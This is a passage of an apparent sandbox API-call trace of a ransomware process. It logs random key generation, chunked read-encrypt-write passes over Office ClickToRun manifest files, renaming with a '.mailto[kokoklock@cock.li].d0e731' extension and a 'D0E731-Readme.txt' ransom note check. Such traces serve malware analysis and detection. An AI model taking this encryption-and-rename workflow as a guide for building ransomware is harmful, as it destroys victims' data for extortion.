| out: Seed=0x17a3fa38) returned 0xdc8acb5c [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x81eaabde [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x2c3e51b2 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x17697856 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xaf45fc22 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xfc883412 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x12c54a1b [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xfd6f1e40 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xda6a1dc3 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x76ae43a5 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x5268b778 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x28a140f2 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xafd7a662 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x9674d272 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x208610f3 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x204959c4 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x4f7cfd2a [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x794645c2 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x29354536 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x2e4fc86 [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xbcf96278 [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x485597cd [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x10a5c615 [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xa699262d [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x9f70fa7 [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xbe7f53de [0073.599] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xbbed170a [0073.610] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.610] ReadFile (in: hFile=0x928, lpBuffer=0x34862b8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17a3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesRead=0x17a3f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0073.789] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0073.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0073.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e3f8 [0073.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e550 [0073.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.791] WriteFile (in: hFile=0x928, lpBuffer=0x348e3f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17a3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesWritten=0x17a3f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0073.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.791] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.791] ReadFile (in: hFile=0x928, lpBuffer=0x34862b8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17a3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesRead=0x17a3f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0073.957] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0073.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0073.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0073.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0073.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0073.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0073.959] WriteFile (in: hFile=0x928, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17a3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x17a3f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0073.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.959] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x35d06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.959] ReadFile (in: hFile=0x928, lpBuffer=0x34862b8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17a3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesRead=0x17a3f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0073.978] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x35d06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdbc8 [0073.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0073.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0073.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eff0 [0073.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f090 [0073.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f090) returned 1 [0073.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdbc8) returned 1 [0073.979] WriteFile (in: hFile=0x928, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17a3f9ec, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x17a3f9ec*=0x4096, lpOverlapped=0x0) returned 1 [0073.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.979] WriteFile (in: hFile=0x928, lpBuffer=0x341e550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17a3fa48, lpOverlapped=0x0 | out: lpBuffer=0x341e550*, lpNumberOfBytesWritten=0x17a3fa48*=0x20, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x341e320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17a3fa48, lpOverlapped=0x0 | out: lpBuffer=0x341e320*, lpNumberOfBytesWritten=0x17a3fa48*=0x20, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x341eff0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17a3fa48, lpOverlapped=0x0 | out: lpBuffer=0x341eff0*, lpNumberOfBytesWritten=0x17a3fa48*=0x20, lpOverlapped=0x0) returned 1 [0073.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x341ebe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x341ebe0*, lpNumberOfBytesWritten=0x17a3fa50*=0x8, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x17a3fa68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x17a3fa68*, lpNumberOfBytesWritten=0x17a3fa50*=0x4, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17a3fa50*=0x4, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17a3fa50*=0x6c, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x17a3fa50*=0x20, lpOverlapped=0x0) returned 1 [0073.980] WriteFile (in: hFile=0x928, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17a3fa50*=0x4, lpOverlapped=0x0) returned 1 [0073.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebe0) returned 1 [0073.981] CloseHandle (hObject=0x928) returned 1 [0073.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x341fe68 [0073.981] wcscpy (in: _Dest=0x341fe68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" [0073.981] wcscat (in: _Dest=0x341fe68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.981] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.981] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fe68) returned 1 [0073.982] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0073.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3435458 [0073.982] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.982] wcscat (in: _Dest=0x3435458, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.982] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0073.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34208c8) returned 1 [0073.987] RtlExitUserThread (Status=0x1) Thread: id = 602 os_tid = 0x1324 [0073.615] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 0x20 [0073.615] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.616] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0073.616] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x17abfba8 | out: lpFileSize=0x17abfba8*=36720) returned 1 [0073.616] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x8f6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.616] ReadFile (in: hFile=0x924, lpBuffer=0x17abfb7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x17abfb7c*, lpNumberOfBytesRead=0x17abfb78*=0x4, lpOverlapped=0x0) returned 1 [0073.791] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5a0 [0073.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0073.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e280 [0073.792] NtQuerySystemTime (in: CurrentTime=0x17abfb54 | out: CurrentTime=0x17abfb54*=132121176316908978) returned 0x0 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xb2bbb05f [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xa2db649b [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x364027e3 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xf77b5db7 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x2e43aaed [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xfb7827d8 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xfbb660b6 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x54ee2b2f [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x79c11283 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x7fbc90d2 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x19e13ada [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xb4e65864 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x5966472c [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x91e18d15 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x2219f18f [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xe9e48d95 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x9f4c34f0 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x62192187 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xa9ceb875 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x47637e50 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xbeca7165 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x8339a47c [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x5051c0d2 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x5a20a7cd [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x64e4a034 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x40fc265 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0xb99f5bb5 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x974bb451 [0073.792] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x5f973874 [0073.793] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x7e89dddc [0073.793] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x6f56e316 [0073.793] RtlRandom (in: Seed=0x17abfb60 | out: Seed=0x17abfb60) returned 0x17a949bc [0073.805] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.805] ReadFile (in: hFile=0x924, lpBuffer=0x348e3f8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17abfb2c, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesRead=0x17abfb2c*=0x4096, lpOverlapped=0x0) returned 1 [0073.919] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0073.919] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0073.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0073.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0073.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.920] WriteFile (in: hFile=0x924, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17abfb2c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x17abfb2c*=0x4096, lpOverlapped=0x0) returned 1 [0073.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0073.920] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x8f70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.920] WriteFile (in: hFile=0x924, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17abfb64, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x17abfb64*=0x20, lpOverlapped=0x0) returned 1 [0073.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.925] WriteFile (in: hFile=0x924, lpBuffer=0x341e578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x341e578*, lpNumberOfBytesWritten=0x17abfb78*=0x8, lpOverlapped=0x0) returned 1 [0073.925] WriteFile (in: hFile=0x924, lpBuffer=0x17abfb90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x17abfb90*, lpNumberOfBytesWritten=0x17abfb78*=0x4, lpOverlapped=0x0) returned 1 [0073.926] WriteFile (in: hFile=0x924, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17abfb78*=0x4, lpOverlapped=0x0) returned 1 [0073.926] WriteFile (in: hFile=0x924, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17abfb78*=0x6c, lpOverlapped=0x0) returned 1 [0073.926] WriteFile (in: hFile=0x924, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x17abfb78*=0x20, lpOverlapped=0x0) returned 1 [0073.926] WriteFile (in: hFile=0x924, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17abfb78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17abfb78*=0x4, lpOverlapped=0x0) returned 1 [0073.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0073.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e208) returned 1 [0073.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e578) returned 1 [0073.926] CloseHandle (hObject=0x924) returned 1 [0073.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12c) returned 0x341fc30 [0073.926] wcscpy (in: _Dest=0x341fc30, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" [0073.926] wcscat (in: _Dest=0x341fc30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.926] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All 